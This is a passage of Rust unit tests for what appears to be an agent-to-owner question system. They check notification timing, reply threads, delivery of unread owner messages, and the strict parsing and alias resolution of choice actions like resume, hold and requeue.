3868 "exactly the window: `>` means this side stays quiet"
3869 );
3870 assert!(
3871 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3872 "past the window: they may have walked away"
3873 );
3874 }
3875
3876 #[test]
3877 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3878 let (_dir, s) = store();
3879 let mut q = choice_question();
3880 s.put(&mut q).unwrap();
3881 q.say("why not Postgres?").unwrap();
3882 s.put(&mut q).unwrap();
3883 q.reply("no server to run", vec!["SQLite".to_owned()])
3884 .unwrap();
3885 s.put(&mut q).unwrap();
3886
3887 assert_eq!(
3888 s.count_open(),
3889 1,
3890 "one question that talked twice is still one open question"
3891 );
3892 assert_eq!(s.open_for(&q.run).len(), 1);
3893 }
3894
3895 #[tokio::test]
3896 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3897 let (dir, s) = store();
3898 let mut q = choice_question();
3899 let id = q.id.clone();
3900 let writer = Questions::at(dir.path().join("questions"));
3901 let handle = tokio::spawn(async move {
3902 tokio::time::sleep(Duration::from_millis(30)).await;
3903 let mut fresh = writer.get(&id).expect("the question was filed first");
3904 fresh.say("why not Postgres?").unwrap();
3905 writer.put(&mut fresh).unwrap();
3906 });
3907
3908 let got = wait_for_owner(
3909 &mut q,
3910 &s,
3911 &quiet(),
3912 Duration::from_secs(5),
3913 Duration::from_millis(10),
3914 )
3915 .await
3916 .unwrap();
3917
3918 handle.await.unwrap();
3919 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3920 assert_eq!(
3921 q.status,
3922 QuestionStatus::Open,
3923 "talking back is not a decision; the question stays open"
3924 );
3925 assert!(q.answer.is_none());
3926 }
3927
3928 #[test]
3929 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3930 let mut q = choice_question();
3931 q.say("A").unwrap();
3932 q.delivered_turns = q.thread.len();
3933 q.say("B").unwrap();
3934 q.reply("about A", vec![]).unwrap();
3935 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3936 q.delivered_turns = q.thread.len();
3937 assert_eq!(q.unread_from_owner(), None);
3938 }
3939
3940 #[test]
3941 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3942 let (_d, s) = store();
3943 let mut q = choice_question();
3944 s.put(&mut q).unwrap();
3945 q.say("first").unwrap();
3946 q.say("second").unwrap();
3947 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3948 s.put(&mut q).unwrap();
3949 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3950 let mut out = Vec::new();
3951 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3952 let shown = String::from_utf8(out).unwrap();
3953 let (a, b, c) = (
3954 shown.find("first").unwrap(),
3955 shown.find("second").unwrap(),
3956 shown.find("SQLite").unwrap(),
3957 );
3958 assert!(a < b && b < c, "{shown}");
3959 assert_eq!(q.delivered_turns, q.thread.len());
3960 assert!(q.answer_delivered);
3961 }
3962
3963 #[test]
3964 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3965 let mut q = choice_question();
3966 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3967 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3968 let mut q = choice_question();
3969 q.say("old").unwrap();
3970 q.delivered_turns = q.thread.len();
3971 q.say("new").unwrap();
3972 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3973 let shown = answer_for_agent(&q, "SQLite");
3974 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3975 }
3976
3977 #[test]
3978 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3979 let mut q = choice_question();
3980 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3981 q.actions.insert(
3982 q.choices[0].clone(),
3983 ChoiceAction::ResumeRun {
3984 run: "run-a".into(),
3985 },
3986 );
3987 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3988 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3989 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3990 assert!(
3991 q.resolve_reply("resume-run")
3992 .unwrap_err()
3993 .to_string()
3994 .contains("with offered choices")
3995 );
3996 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
3997 assert!(
3998 q.resolve_reply("daemon: resume [resume run run-a]")
3999 .is_err()
4000 );
4001 q.actions.insert(
4002 q.choices[0].clone(),
4003 ChoiceAction::Resume {
4004 run: "run-a".into(),
4005 },
4006 );
4007 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4008 q.choices.push("another resume".into());
4009 q.actions.insert(
4010 "another resume".into(),
4011 ChoiceAction::Resume {
4012 run: "run-b".into(),
4013 },
4014 );
4015 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4016 }
4017
4018 #[test]
4019 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4020 let mut q = choice_question();
4021 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4022 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4023 q.actions
4024 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4025 }
4026 assert!(
4027 q.resolve_reply("再開")
4028 .unwrap_err()
4029 .to_string()
4030 .contains("ambiguous")
4031 );
4032 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4033 q.choices.remove(1);
4034 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4035 assert!(q.resolve_reply("resume run-b").is_err());
4036 assert!(q.resolve_reply("保留").is_err());
4037 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4038 assert!(!ChoiceAction::Done.matches_alias("完了"));
4039 }
4040
4041 #[test]
4042 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4043 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4044 let ok = parse_actions(
4045 &[
4046 "resume で続行する=resume".to_owned(),
4047 "wait=done".to_owned(),
4048 ],
4049 &choices,
4050 "run-1",
4051 )
4052 .unwrap();
4053 assert_eq!(
4054 ok["resume で続行する"],
4055 ChoiceAction::Resume {
4056 run: "run-1".into()
4057 }
4058 );
4059 assert_eq!(ok["wait"], ChoiceAction::Done);
4060
4061 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4062 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4063 assert_eq!(
4064 ChoiceAction::parse("x=requeue", "").unwrap().1,
4065 ChoiceAction::Requeue
4066 );
4067
4068 assert_eq!(
4069 ChoiceAction::parse("x=hold", "").unwrap().1,
4070 ChoiceAction::Hold
4071 );
4072
4073 for bad in [
4074 "no-equals",
4075 "=done",
4076 "x=resume",
4077 "x=resume:",
4078 "x=explode",
4079 "x=done:1",
4080 ] {
4081 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4082 }
4083 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4084 assert!(
4085 parse_actions(
4086 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4087 &choices,
4088 ""
4089 )
4090 .is_err()
4091 );
4092 }
4093
4094 #[test]
4095 fn only_a_chosen_label_with_an_action_is_actionable() {
4096 let mut q = choice_question();
4097 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4098 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4099 assert!(q.chosen_action().is_none(), "unanswered");
4100 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4101 assert!(
4102 q.chosen_action().is_none(),
4103 "a label that merely reads like an action does nothing"
4104 );
4105
4106 let mut q2 = choice_question();
4107 q2.choices = vec!["SQLite".to_owned()];
4108 q2.actions
4109 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4110 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4111 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4112 }
4113
4114 #[test]
4115 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4116 let mut q = choice_question();
4117 q.choices = vec!["A".to_owned(), "B".to_owned()];
4118 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4119 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4120 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4121 assert_eq!(q.actions.len(), 1);
4122 assert!(q.actions.contains_key("B"));
4123
4124 let mut v = serde_json::to_value(&q).unwrap();
4125 v.as_object_mut().unwrap().remove("actions");
4126 let old: Question = serde_json::from_value(v).unwrap();
4127 assert!(old.actions.is_empty());
4128 }
4129}